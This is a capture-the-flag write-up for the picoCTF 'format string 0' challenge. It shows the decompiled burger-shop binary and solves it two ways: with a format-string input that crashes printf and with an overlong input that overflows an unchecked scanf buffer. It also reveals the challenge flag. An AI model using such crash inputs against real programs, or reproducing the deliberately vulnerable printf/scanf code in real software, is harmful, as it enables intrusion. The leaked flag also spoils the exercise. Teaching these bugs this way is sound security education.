Post

PicoCTF - format string 0

PicoCTF Writeup for format string 0 Challenge

PicoCTF - format string 0

PicoCTF Challenge: https://play.picoctf.org/practice/challenge/433?category=6&page=1

format string 0

Author: Cheng Zhang

Description

Can you use your knowledge of format strings to make the customers happy?
Download the binary here.
Download the source here.
Additional details will be available after launching your challenge instance.

Hints

1st - This is an introduction of format string vulnerabilities. Look up “format specifiers” if you have never seen them before.
2nd - Just try out the different options

Resources:

Source Code: /format-string-0.c
Binary: /format-string-0

1
$ nc mimas.picoctf.net 60589

There are two different methods to solve this challenge.

Decompile

We can decompile the binary to a pseudo C like this (Binary Ninja):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
00401276    void sigsegv_handler() __noreturn

00401276    {
00401294        printf("\n%s\n", &flag);
004012a3        fflush(stdout);
004012ad        exit(1);
004012ad        /* no return */
00401276    }

/* ... */

004012b2    int on_menu(char* user_input, char** menu_item, int list_size)

004012b2    {
004012b2        int index = 0;
004012b2        
0040130d        while (true)
0040130d        {
0040130d            if (index >= list_size)
0040130f                return 0;
0040130f            
004012fa            /* Compares each characters */
004012fa            if (!strcmp(user_input, menu_item[index]))
004012fa                break;
004012fa            
00401303            index += 1;
0040130d        }
0040130d        
004012fc        return 1;
004012b2    }

/* ... */

004014c3    int serve_bob()

004014c3    {
004014c3        printf("\n%s %s\n%s %s\n%s %s\n%s", "Good job! Patrick is happy!", 
004014c3            "Now can you serve the second customer?", "Sponge Bob wants something outrageous that would break the shop", 
004014c3            "(better be served quick before the shop owner kicks you out!)", "Please choose from the following burgers:", 
004014c3            "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak", "Enter your recommendation: ");
00401511        fflush(stdout);

00401527        char format[32];
00401527        scanf("%s", &format);

0040152c        char *items[] = {
                    "Pe%to_Portobello",
                    "$outhwest_Burger",
                    "Cla%sic_Che%s%steak"
                };

0040153c        
0040155e        if (!on_menu(&format, &itmes, 3))
0040155e        {
00401587            printf("There is no such burger yet!");
00401574            return fflush(stdout);
0040155e        }
0040155e        
00401587        printf(&format);
00401596        return fflush(stdout);
004014c3    }


/* ... */

004013bb    int serve_patrick()

004013bb    {
004013bb        printf("%s %s\n%s\n%s %s\n%s", "Welcome to our newly-opened burger place Pico 'n Patty!", 
004013bb            "Can you help the picky customers find their favorite burger?", "Here comes the first customer Patrick who wants a giant bite.", 
004013bb            "Please choose from the following burgers:", "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe", 
004013bb            "Enter your recommendation: ");
00401408        fflush(stdout);

0040141e        char format[44];
0040141e        scanf("%s", &format);

00401423        char *items[] = {
                    "Breakf@st_Burger",
                    "Gr%114d_Cheese",
                    "Bac0n_D3luxe"
                };

00401433        
00401455        if (!on_menu(&format, &items, 3))
00401455        {
0040147e            printf("There is no such burger yet!");
0040146b            return fflush(stdout);
00401455        }
00401455        
0040148a        if (printf(&format) > 0x40)
004014ac            return serve_bob();
004014ac        
004014ac        printf("%s\n%s\n", "Patrick is still hungry!", "Try to serve him something of larger size!");
004014bb        return fflush(stdout);
004013bb    }

/* ... */

00401316    int main()

00401316    {
00401333        FILE* fp = fopen("flag.txt", "r");
00401333        
00401341        if (!fp)
00401341        {
00401377            printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n");
00401361            exit(0);
00401361            /* no return */
00401341        }
00401341        
00401377        fgets(&flag, 64, fp);
00401386        signal(SIGSEGV, sigsegv_handler);
0040138b        gid_t gid = getegid();
004013a5        setresgid(gid, gid, gid);
004013af        serve_patrick();
004013ba        return 0;
00401316    }

This is the full source code (decompiled):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
void sigsegv_handler()
{
    printf("\n%s\n", &flag);
    fflush(stdout);
    exit(1);
}

int serve_bob()
{
    printf("\n%s %s\n%s %s\n%s %s\n%s", "Good job! Patrick is happy!", 
        "Now can you serve the second customer?", "Sponge Bob wants something outrageous that would break the shop", 
        "(better be served quick before the shop owner kicks you out!)", "Please choose from the following burgers:", 
        "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak", "Enter your recommendation: ");
    fflush(stdout);

    char format[32];
    scanf("%s", &format);

    char *items[] = {
        "Pe%to_Portobello",
        "$outhwest_Burger",
        "Cla%sic_Che%s%steak"
    };

    
    if (!on_menu(&format, &itmes, 3))
    {
        printf("There is no such burger yet!");
        return fflush(stdout);
    }
    
    printf(&format);
    return fflush(stdout);
}

int serve_patrick()
{
    printf("%s %s\n%s\n%s %s\n%s", "Welcome to our newly-opened burger place Pico 'n Patty!", 
        "Can you help the picky customers find their favorite burger?", "Here comes the first customer Patrick who wants a giant bite.", 
        "Please choose from the following burgers:", "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe", 
        "Enter your recommendation: ");
    fflush(stdout);

    char format[44];
    scanf("%s", &format);

    char *items[] = {
        "Breakf@st_Burger",
        "Gr%114d_Cheese",
        "Bac0n_D3luxe"
    };

    
    if (!on_menu(&format, &items, 3))
    {
        printf("There is no such burger yet!");
        return fflush(stdout);
    }
    
    if (printf(&format) > 0x40)
        return serve_bob();
    
    printf("%s\n%s\n", "Patrick is still hungry!", "Try to serve him something of larger size!");
    return fflush(stdout);
}

int main()
{
    FILE* fp = fopen("flag.txt", "r");
    
    if (!fp)
    {
        printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n");
        exit(0);
    }
    
    fgets(&flag, 64, fp);

    signal(SIGSEGV, sigsegv_handler);

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    serve_patrick();
    return 0;
}

Analysis

A close inspection of the program’s decompiled code reveals that special characters with % are printed in printf(). By selecting an appropriate format string as input, you can have that format string printed and cause a segmentation fault.

The string Gr%114d_Cheese prints a specific number of spaces on the screen, followed by additional strings. The code below calls serve_bob() if the number of characters printed by printf exceeds 64.

1
2
if (printf(&format) > 0x40) /* 0x40 => 64 */  
    return serve_bob();

The string Cla%sic_Che%s%steak calls %s a total of 3 times. In the printf() statement containing this string, %s is called 6 times in total to print the string. By attempting to call 3 additional non-existent strings, a segmentation fault is triggered.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
therustymate-picoctf@webshell:~$ nc mimas.picoctf.net 60589
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr                                                                                                           4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_f89c1405}

therustymate-picoctf@webshell:~$ 

The flag is: picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_f89c1405}


This program has a system that reads the flag from flag.txt and outputs it if a segmentation fault occurs. Therefore, you can obtain the flag by causing a segmentation fault in the program.

The program takes input via scanf() into a 44-byte or 32-byte variable without size validation, so entering a value exceeding this limit triggers a segmentation fault and causes the flag to be printed.

1
2
3
4
5
6
7
8
therustymate-picoctf@webshell:~$ nc mimas.picoctf.net 60589
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
There is no such burger yet!

picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_f89c1405}

The flag is: picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_f89c1405}

This post is licensed under CC BY 4.0 by the author.